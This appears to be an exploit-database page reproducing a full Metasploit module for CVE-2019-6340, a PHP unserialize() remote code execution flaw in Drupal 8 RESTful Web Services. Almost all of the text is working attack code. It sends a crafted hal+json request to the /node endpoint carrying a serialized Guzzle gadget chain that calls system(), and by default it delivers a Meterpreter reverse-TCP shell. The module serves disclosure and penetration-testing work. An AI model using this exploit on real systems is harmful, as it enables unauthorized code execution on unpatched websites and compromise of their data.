Drupal RESTful Web Services unserialize() Remote Code Execution

2019.03.07
Credit: wvu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote # NOTE: All (four) Web Services modules need to be enabled Rank = NormalRanking include Msf::Exploit::Remote::HTTP::Drupal def initialize(info = {}) super(update_info(info, 'Name' => 'Drupal RESTful Web Services unserialize() RCE', 'Description' => %q{ This module exploits a PHP unserialize() vulnerability in Drupal RESTful Web Services by sending a crafted request to the /node REST endpoint. As per SA-CORE-2019-003, the initial remediation was to disable POST, PATCH, and PUT, but Ambionics discovered that GET was also vulnerable (albeit cached). Cached nodes can be exploited only once. Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of this alternate vector. Drupal < 8.5.11 and < 8.6.10 are vulnerable. }, 'Author' => [ 'Jasper Mattsson', # Discovery 'Charles Fol', # PoC 'Rotem Reiss', # Module 'wvu' # Module ], 'References' => [ ['CVE', '2019-6340'], ['URL', 'https://www.drupal.org/sa-core-2019-003'], ['URL', 'https://www.drupal.org/psa-2019-02-22'], ['URL', 'https://www.ambionics.io/blog/drupal8-rce'], ['URL', 'https://github.com/ambionics/phpggc'], ['URL', 'https://twitter.com/jcran/status/1099206271901798400'] ], 'DisclosureDate' => '2019-02-20', 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Privileged' => false, 'Targets' => [ ['PHP In-Memory', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory, 'Payload' => {'BadChars' => "'"}, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } ], ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'CMD' => 'id' } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method 'AKA' => ['SA-CORE-2019-003'] } )) register_options([ OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST', ['GET', 'POST', 'PATCH', 'PUT']]), OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def check checkcode = CheckCode::Unknown version = drupal_version unless version vprint_error('Could not determine Drupal version') return checkcode end if version.to_s !~ /^8\b/ vprint_error("Drupal #{version} is not supported") return CheckCode::Safe end vprint_status("Drupal #{version} targeted at #{full_uri}") checkcode = CheckCode::Detected changelog = drupal_changelog(version) unless changelog vprint_error('Could not determine Drupal patch level') return checkcode end case drupal_patch(changelog, 'SA-CORE-2019-003') when nil vprint_warning('CHANGELOG.txt no longer contains patch level') when true vprint_warning('Drupal appears patched in CHANGELOG.txt') checkcode = CheckCode::Safe when false vprint_good('Drupal appears unpatched in CHANGELOG.txt') checkcode = CheckCode::Appears end # Any further with GET and we risk caching the targeted node return checkcode if meth == 'GET' # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable token = Rex::Text.rand_text_alphanumeric(8..42) res = execute_command("echo #{token}") return checkcode unless res if res.body.include?(token) vprint_good('Drupal is vulnerable to code execution') checkcode = CheckCode::Vulnerable end checkcode end def exploit if [CheckCode::Safe, CheckCode::Unknown].include?(check) if datastore['ForceExploit'] print_warning('ForceExploit set! Exploiting anyway!') else fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end end if datastore['PAYLOAD'] == 'cmd/unix/generic' print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') # XXX: Naughty datastore modification datastore['DUMP_OUTPUT'] = true end case target['Type'] when :php_memory # XXX: This will spawn a *very* obvious process execute_command("php -r '#{payload.encoded}'") when :unix_memory execute_command(payload.encoded) end end def execute_command(cmd, opts = {}) vprint_status("Executing with system(): #{cmd}") # https://en.wikipedia.org/wiki/Hypertext_Application_Language hal_json = JSON.pretty_generate( 'link' => [ 'value' => 'link', 'options' => phpggc_payload(cmd) ], '_links' => { 'type' => { 'href' => vhost_uri } } ) print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}") res = send_request_cgi({ 'method' => meth, 'uri' => node_uri, 'ctype' => 'application/hal+json', 'vars_get' => {'_format' => 'hal_json'}, 'data' => hal_json }, 3.5) return unless res case res.code # 401 isn't actually a failure when using the POST method when 200, 401 print_line(res.body) if datastore['DUMP_OUTPUT'] if meth == 'GET' print_warning('If you did not get code execution, try a new node ID') end when 404 print_error("#{node_uri} not found") when 405 print_error("#{meth} method not allowed") when 422 print_error('VHOST may need to be set') when 406 print_error('Web Services may not be enabled') else print_error("Unexpected reply: #{res.inspect}") end res end # phpggc Guzzle/RCE1 system id def phpggc_payload(cmd) ( # http://www.phpinternalsbook.com/classes_objects/serialization.html <<~EOF O:24:"GuzzleHttp\\Psr7\\FnStream":2:{ s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{ s:5:"close";a:2:{ i:0;O:23:"GuzzleHttp\\HandlerStack":3:{ s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler"; s:cmd_len:"cmd"; s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack"; a:1:{i:0;a:1:{i:0;s:6:"system";}} s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached"; b:0; } i:1;s:7:"resolve"; } } s:9:"_fn_close";a:2:{ i:0;r:4; i:1;s:7:"resolve"; } } EOF ).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd) end def meth datastore['METHOD'] || 'POST' end def node datastore['NODE'] || 1 end def node_uri if meth == 'GET' normalize_uri(target_uri.path, '/node', node) else normalize_uri(target_uri.path, '/node') end end def vhost_uri full_uri( normalize_uri(target_uri.path, '/rest/type/shortcut/default'), vhost_uri: true ) end end


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